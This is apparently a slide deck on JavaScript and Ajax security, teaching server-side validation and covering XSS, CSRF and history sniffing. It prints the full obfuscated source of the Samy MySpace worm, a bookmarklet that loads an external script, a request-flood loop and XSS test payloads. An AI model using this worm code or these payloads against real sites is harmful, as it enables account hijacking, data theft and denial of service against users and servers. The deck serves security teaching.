570 likes | 767 Views
Investigating JavaScript and Ajax Security. Presented By: Eric Pascarello. Background on Eric Pascarello. Author of: Ajax In Action [Manning] JavaScript: Your visual blueprint for building dynamic Web pages (2 nd ed) [Wiley] HTML and JavaScript Moderator at JavaRanch.com since 2001
E N D
Investigating JavaScript and Ajax Security Presented By: Eric Pascarello
Background on Eric Pascarello • Author of: • Ajax In Action [Manning] • JavaScript: Your visual blueprint for building dynamic Web pages (2nd ed) [Wiley] • HTML and JavaScript Moderator at JavaRanch.com since 2001 • Developer at Market10.com • Perform talks on Ajax around the world.
What we are going to investigate • Ajax Model • Classic Postback Model • Form Hacks • XSS - JavaScript Injection • Ajax Worms • Other Injections
Quick Intro to Ajax • Ajax is Asynchronous JavaScript and XML • Coined by Jesse James Garrett of Adaptive Path • Not a language! • Uses JavaScript on the client and any Language on the Server
Ajax Security Makes a lot of news because of: • Inexperienced developers working with technologies they do not understand! • PHP + FREE SERVERS + MySQL + AJAX = BIG SECURITY HOLES • JavaScript: • The Cutting Edge Technology of Ctrl-C and Ctrl-V • Tutorials, Articles, and Books skipping the security aspect. • Tons of High Profile Websites using it!
The Real Life Diagram Of Ajax How to explain Ajax to your non-geek friends THE COLLEGE PARTY
The Non-Ajax Solution • Figure out what is more important and rank order of operation. • Should I clean the mess, get food, or update the outdated music collection? • Perform one task and do the others after each other. Hopefully I have enough time! • Go to Store, Download Music, Clean Apartment so it can be trashed again.
The Ajax Solution • Do multiple things at once! • Hire a maid to do the cleaning! • Order delivery pizza! • And I can download new music while others do the dirty work! Ajax Clean!
The “Ajax Engine” • The XMLHttpRequest Object • Allows us to send information server without post backs • Makes the request and receives the data back • Can be asynchronous or synchronous • Same Domain Policy • Can not make requests to other domains
The XHR Object • The Gecko / Safari / IE7 Object Constructor • req = new XMLHttpRequest(); • The ActiveX for IE 5 to IE 6 • req = new ActiveXObject("Microsoft.XMLHTTP"); OR • req = new ActiveXObject("Msxml2.XMLHTTP");
XHR open() • open("method", "URL", asyncFlag); method = GET or POST URL = Page to request asyncFlag = True or False
send(parameters) • Send is like clicking the submit button on a form. • The parameters should be set to null or empty string if you are not posting any information. • If you are posting, the name/value pairs should look like a querystring without the question mark. • req.send("foo=bar&ajax=123"); • If you are using GET, append the values to the URL in the open method. • Remember GET has a size limitation. • If you want to send information, you have to add it manually. • No free ride like a form!
onreadystatechange • The objects only event handler. • It is fired only when in asynchronous mode • 3rd parameter is set to true in the open method • It is fired a total of 4 times. • We can assign a reference to a function or build a anonymous function to it • req.onreadystatechange = functionName; • req.onreadystatechange = function(){ //statements}
readyState values • 0 - Uninitialized • The initial value when new reference to Object is created • 1 - Open • The open() method has been successfully called. • 2 - Sent • The request made it, but no data has yet been received. • 3 - Receiving • All HTTP headers have been received. • Value set right before receiving the message body • 4 - Loaded • The data transfer has been completed. • We can now play with the data!
status • We are looking for a value of 200 • If you are working on the file protocol (eg: local disk not on a web server) than you are looking for a value of 0 [zero]). • Yes the XMLHttpRequest object can be run off of the Active Desktop. • Can be read when readyState = 4
Basic Example of code var req = GetXHRObject(); req.open("POST", "secure.aspx", true); req.onreadystatechange = finishRequest; req.send("foo=bar&ajax=123"); BasicExample1.html
I CAN VIEW THE SOURCE • I can see the page that it is requesting from the JavaScript code! • I can see the parameters being sent! • I can see the validation! • I can see the Business Logic! • I can rule the world!
Before We Surrender to Fear Let us look at the classic postback and Ajax models in detail
What is Different? Ajax POST var req = GetXHRObject(); req.open("POST", "secure.php", true); req.onreadystatechange = finishRequest; req.send("foo=bar&ajax=123"); Regular Form POST <form action="secure.php" method="POST"> <input type="text" name="foo" value="bar"> <input type="hidden" name="ajax" value="123"> <input type="submit" name="sub1"> </form>
Major Cause Of Security Concerns • Ajax model uses WebServices • Legacy or New • Return HTML/TEXT/JSON/XML/ETC • More Ajax Functionality = More WebServices = More places to attack • Just need to forget one thing to make a new hole • Yes you can use the XMLHttpRequest Object to make requests without the users knowledge. • We can also use images, iframes, frames, popup windows.
Major Cause Of Security Concerns • Business Logic • Building Proxy Services to talk to outside domains • Displaying User Content • Tags, forums, blogs, comments, etc
Grandma is a Hacker • Everyone is giving you bad data. • Everyone is trying to hack you • Everyone wants to cause a DOS attack on your server! • VALIDATE ON THE SERVER!
Business Logic Security • JavaScript is basically open source. • Use JavaScript as the rendering Engine • Validate the info on the server! • Use ClientSide validation as a mechanism to save user time and bandwidth • JavaScript Obfuscation is easily reversed! Don’t waste your money!
The First Get Some Common Sense Award Goes To: • A tutorial on Ajax to display data into a textarea function getOnlineClass() { var url = 'http://localhost/MyOnlineClass?sql=SELECT* from LOP FOR XML AUTO &root=DSLOP'; http.open("GET", url, true); http.onreadystatechange = useHttpResponse; http.send(null); } I wish I would have made this up!
So You Think Your Form Is Safe? • Example • Address bar is our friend for reckoning havoc! • javascript:yourStatements;void(0); • Add an external JavaScript file! • javascript:var a=document.createElement("script");a.src="http://url/foo.js";document.body.appendChild(a);void(0);
Hidden Fields Are Editable? • The Bookmarklet and the Example • Bookmarklets makes it easy to execute code instead of manually adding it to the address bar. • What is a bookmarklet? • JavaScript statement(s) stored in a favorites link! • How can I do this? Create a link on a webpage, save the page, open it, right click on the link, add to favorites. • <a href="javascript:alert(new Date());void(0);">Show Time</a>
Who Needs ServerSide Validation When We Have ClientSide Checks? • Example • Why waste time disabling JavaScript when we can just override the annoying function! • Set event handlers, functions, variables from status bar!
Simple Scripted Attacks On A Server var req = new Array(); for(var i = 0; i<1000; i++){ req[i] = GetXHRObject(); req[i].open("POST", "secure.aspx", true); req[i].onreadystatechange = function(){}; req[i].send("foo=" + i); }
Is This A Vulnerability? YES or NO
What is your browser telling others about you? • The advertisers dream, the health insurance companies dream, your snooping boss’s dream JavaScript. • The links are telling us where we have been! • Example: Is it a vulnerability or a feature?
So with some JavaScript we can test where you been • Targeted Advertising for geeks, gamers, pet owners, sports fans, porn lovers, etc. • Medical Privacy: Look to see if you been on Cancer Sites, looking at sites on Heart conditions, etc. • Your Company can check to see if you are doing online shopping without installing loggers! • Scan for Google Searches • Only Problem: caps matter! • http://www.google.com/search?q=Eric+Pascarello • http://www.google.com/search?q=eric+pascarello
Let Us Now Look AT XSS • Cross Site Scripting (XSS) allows for malicious people to inject HTML, JavaScript, PHP, PERL, CSS, etc. into a Web page. • Gets around same domain policy • Allow injection of browser vulnerability code • Allows for people to steal information • Can create real annoying for-loop alert attacks!
The Second Get Some Common Sense Award Goes To: • Ask.com • They allow you to save your preference settings on their site with a form. Problem is it is a GET! • http://www.ask.com/webprefs?addr1=&addr2=&qsrc=106&pu=100&padlt=1&pcn=FR&psave=Save+my+settings • The link will change the settings on their site to show 100 results, change the adult filter, country, etc. • Don’t update settings with GET • Set a hidden iFrame/image with this URL and you can change everyone’s settings that come to your web site. • The Google Toolbar used to has this same problem when it was first implemented!
Biggest Offenders in XSS • Web Pages that use • Search Pages • Guestbooks • RSS Readers • Blog Comments • Web based chat/games • Error Pages • Anywhere user can insert data and it is redisplayed back without removing the escaping the user’s input! • Example Time with a Popular Website’s Search! (link not included!)
Test For JavaScript Injection • Step 1: type in <script>alert("hi");</script> into any field on a page. • Step 2: Submit the page • Step 3: If you see the alert, you got success! If no alert continue • Step 4: View Source of Page and look for the code you added • Step 5: See if they are escaping everything correctly. • Step 6: Try the injections on the next slide
Cross Site Scripting Cheat SheetEsp: for filter evasion • http://ha.ckers.org/xss.html • Website has a long list of ways to get past filters. • Spend some time and go through the list!
Combine Visited Links with XSS • So lets say we have a list of XSS hacks we know about. Lets say Bank MoneyBags has a XSS hole. • A surfer checks their balance at BankMoneyBags.com and did not sign out. He just surfed away. • The Surfer Went to site where this visited links code was. • Positive match was found for the Bank link, XSS link is fired into iFrame / pop-up window / image. • And the money is now in a Swiss Account!
What can be done? • Add key listeners and send data to outside servers. • Change user names, passwords, preferences • Sniff out and steal sensitive data • Annoy users with infinite alert loops! • Send email • Add posts to forms • How much damage can Ajax plus XSS? We are talking about JavaScript!
Real Life JavaScript Injections with Ajax! • Samy [http://en.wikipedia.org/wiki/Samy_(XSS)] • MySpace.com • Ajax based worm that added user to friend’s list • October 4, 2005 • 20 Hours • Over 1 million users had been effected • Flaw was based on CSS background image
The code of Samy <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
Samy Injection Highlight • <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34 • This injection is listed on http://ha.ckers.org/xss.html(Scroll past the halfway point on the page to see it!)
Yahoo gets attacked! • Yamanner [http://en.wikipedia.org/wiki/Yamanner] • Yahoo! Mail worm • June 12, 2006 • Sent users address book to remote server • <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; • Have link to full code on my blog: http://radio.javaranch.com/pascarello/2006/06/13/1150210232222.html
JavaScript Port Scanning? • JavaScript Port Scanning can be done! • http://www.spidynamics.com/assets/documents/JSportscan.pdf • General Summary From White Paper • Code gets injected into intranet web page • Every Server Installation has default images • JavaScript scans IP ranges for defaults • If image has width/height, we know the server type, and IP address. • Post data back to outside server